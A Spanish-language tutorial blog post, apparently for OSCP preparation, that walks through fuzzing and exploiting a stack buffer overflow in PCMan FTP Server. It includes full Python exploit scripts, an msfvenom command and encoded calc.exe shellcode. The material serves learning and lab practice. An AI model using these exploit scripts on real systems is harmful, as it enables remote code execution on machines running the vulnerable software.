Buenas, quizás alguno de vosotros estéis pensando en sacaros el OSCP, la famosa certificación de Offensive Security, así que he pensado que sería útil proporcionar un tutorial de un desbordamiento de buffer de Windows de 32 bits. Para la mayoría de las personas que entran al mundo de la seguridad informática, los buffer overflows pueden ser un tema que asuste. Mi objetivo es que al final de este tutorial, tengáis una comprensión más clara y menos miedo al desarrollo de exploits de buffer overflow.
Antes de leer este post os recomiendo leer los post de introducción al exploiting:
Parte 1, parte 2, parte 3 y parte 4
Introducción
¿Qué es un Stack Buffer Overflow?
Según la Wikipedia, un desbordamiento de pila es el exceso de flujo de datos almacenados en la pila de una función, lo cual permite que la dirección de retorno de la pila pueda ser modificada por otra parte de un atacante para obtener un beneficio propio, que generalmente es malicioso.
Básicamente hay que desbordar un buffer de la pila, modificando así los datos adyacentes permitiendo inyectar código y tomar el control del proceso.
Os recomiendo la lectura del post de corelean.be para entender esto mejor.
La pila es la estructura que almacena la información de un programa.
Si el programa está mal programado permitirá el desbordamiento del buffer; supongamos que tenemos un programa que, mediente gets(), da valor a un buffer X caracteres pero el usuario introduce una gran cantidad A:
Se producirá un fallo (segmentation fault) ya que hemos sobrescrito la dirección de retorno.
Explotación
Fuzzing
Veamoslo gráficamente, tenemos un PCMan FTP corriendo en un Windows 10 y con Inmunity Debugger para analizar lo que ocurre en la ejecución del servidor.
Lo primero que haremos es ver si este software es vulnerable, la técnica que se utiliza para encontrar un bug se llama Fuzzing que consiste básicamente en enviar datos de una longitud variable hasta que crashe la ejecución.
Podemos utilizar el siguiente python:
#!/usr/bin/python import sys,socket from time import sleep length = 1500 while True: try: print "length sent: " + str(length) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.17.129',21)) s.recv(1024) s.send("USER Anonymous") s.recv(1024) s.send("PASS pass") s.recv(1024) s.send('PORT ' + 'A'* length) s.recv(1024) s.close() sleep(1) length += 100 except: print 'Fuzzing crased at %s bytes' % str(length) sys.exit()
Como veis se abre una conexión con el servidor y se enviarán mensajes a través del parámetro PORT hasta que crashe (aumentando en 100 la longitud de la cadena que se le envía en cada iteración).
En cuanto deja de establecer conexión con el servidor sabremos la longitud necesaria para hacer crashear el programa, en este caso 2100 bytes.
Buscar el relleno
Sabemos que enviando al menos 2100 bytes haremos crashear el programa, pero necesitamos saber la longitud exacta para poder manejar la dirección de retorno.
Para esto utilizaremos msf-pattern
msf-pattern_create -l 2100
Modifiquemos nuestro exploit:
#!/usr/bin/python import sys,socket from time import sleep import struct buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.17.129",21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS pass") s.recv(1024) s.send("PORT " + buf) s.recv(1024) s.close()
python exploit.py msf-pattern_offset -q 396F4338
Tras la ejecución del exploit el programa se detendrá y veremos en el Inmunity Debugger el valor del registro EIP (que contendrá la dirección de retorno sobreescrita). Con msf-pattern_offset veremos la longitud exacta del relleno.
La longitud de nuestro relleno será 2006 bytes, vamos a demostrarlo:
#!/usr/bin/python import sys,socket from time import sleep import struct padding = "A" * 2006 buf = padding + "B"*4 + "C"*256 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.17.129",21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS pass") s.recv(1024) s.send("PORT " + buf) s.recv(1024) s.close()
Como veis, tras la ejecución del exploit, el registro EIP apunta a las 4 Bs (\x42\x42\x42\x42) luego hemos sobrescrito la dirección de retorno con el contenido que queramos. Además el ESP apunta a las Cs, seria algo así:
Ejecutar nuestro shellcode
Tras ver el diagrama anterior, nos queda claro que en las Cs deberemos escribir nuestro shellcode y sobreescribir la dirección de retorno con la de nuestro shellcode.
Podríamos saltar a la dirección del ESP directamente, pero es más sutil buscar una operación JMP ESP en las librerías del programa y hay que tener en cuenta que la dirección del ESP puede no ser justo a continuación de la dirección de retorno (las 4 B) por lo que debemos añadir un colchón de NOPs.
Usando mona podríamos buscar un JMP ESP en un módulo que no tenga ninguna protección como ASLR, pero para este ejemplo nos sirve con buscarlo directamente con Inmunity:
Como dije antes, tras la dirección de retorno (JMP ESP) debemos incluir el código que queremos ejecutar es decir, nuestro shellcode.
Creemos un shellcode para probar que podemos ejecutar código (nos bastará con abrir una calculadora para demostrar que funciona)(en este caso usaremos el encoder x86/shikata_ga_nai pero puede ser que no funcione y tendríais que probar otros o no usar encoder):
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode -f py
Y busquemos un JMP ESP en el programa con Inmunity Debugger:
#!/usr/bin/python import sys,socket from time import sleep import struct padding = 'A' * 2006 jmpesp = struct.pack("<I",0x739A96BF) nops = "\x90" * 20 shellcode = "" shellcode += "\xdb\xdf\xbf\xc4\x47\xa8\xd0\xd9\x74\x24\xf4\x58" shellcode += "\x29\xc9\xb1\x31\x83\xc0\x04\x31\x78\x14\x03\x78" shellcode += "\xd0\xa5\x5d\x2c\x30\xab\x9e\xcd\xc0\xcc\x17\x28" shellcode += "\xf1\xcc\x4c\x38\xa1\xfc\x07\x6c\x4d\x76\x45\x85" shellcode += "\xc6\xfa\x42\xaa\x6f\xb0\xb4\x85\x70\xe9\x85\x84" shellcode += "\xf2\xf0\xd9\x66\xcb\x3a\x2c\x66\x0c\x26\xdd\x3a" shellcode += "\xc5\x2c\x70\xab\x62\x78\x49\x40\x38\x6c\xc9\xb5" shellcode += "\x88\x8f\xf8\x6b\x83\xc9\xda\x8a\x40\x62\x53\x95" shellcode += "\x85\x4f\x2d\x2e\x7d\x3b\xac\xe6\x4c\xc4\x03\xc7" shellcode += "\x61\x37\x5d\x0f\x45\xa8\x28\x79\xb6\x55\x2b\xbe" shellcode += "\xc5\x81\xbe\x25\x6d\x41\x18\x82\x8c\x86\xff\x41" shellcode += "\x82\x63\x8b\x0e\x86\x72\x58\x25\xb2\xff\x5f\xea" shellcode += "\x33\xbb\x7b\x2e\x18\x1f\xe5\x77\xc4\xce\x1a\x67" shellcode += "\xa7\xaf\xbe\xe3\x45\xbb\xb2\xa9\x03\x3a\x40\xd4" shellcode += "\x61\x3c\x5a\xd7\xd5\x55\x6b\x5c\xba\x22\x74\xb7" shellcode += "\xff\xdd\x3e\x9a\xa9\x75\xe7\x4e\xe8\x1b\x18\xa5" shellcode += "\x2e\x22\x9b\x4c\xce\xd1\x83\x24\xcb\x9e\x03\xd4" shellcode += "\xa1\x8f\xe1\xda\x16\xaf\x23\xb9\xf9\x23\xaf\x10" shellcode += "\x9c\xc3\x4a\x6d" buf = padding + jmpesp + nops + shellcode s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.17.129',21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS pass") s.recv(1024) s.send('PORT ' + buf) s.recv(1024) s.close()
Ahora creando un shellcode malicioso (reverse shell):
Conclusión
Este tutorial puede servir para empezar la preparación para el desarrollo de exploits del OSCP pero no se cubren todos los aspectos necesarios para pasar el examen ya que no hemos explicado a encontrar los badchars del shellcode, o cómo buscar la operación JMP ESP en las librerias que no tengan protecciones como el ASLR.
Además este tipo de exploits no funcionarán si los programas cuentan con protecciones como el DEP.
Otros software para practicar:
PCMan FTP Server 2.0.7
SLMail 5.5.0 Mail Server
Freefloat FTP Server 1.0
MiniShare 1.4.1
Savant Web Server 3.1
WarFTP 1.65
0 Comments
1 Pingback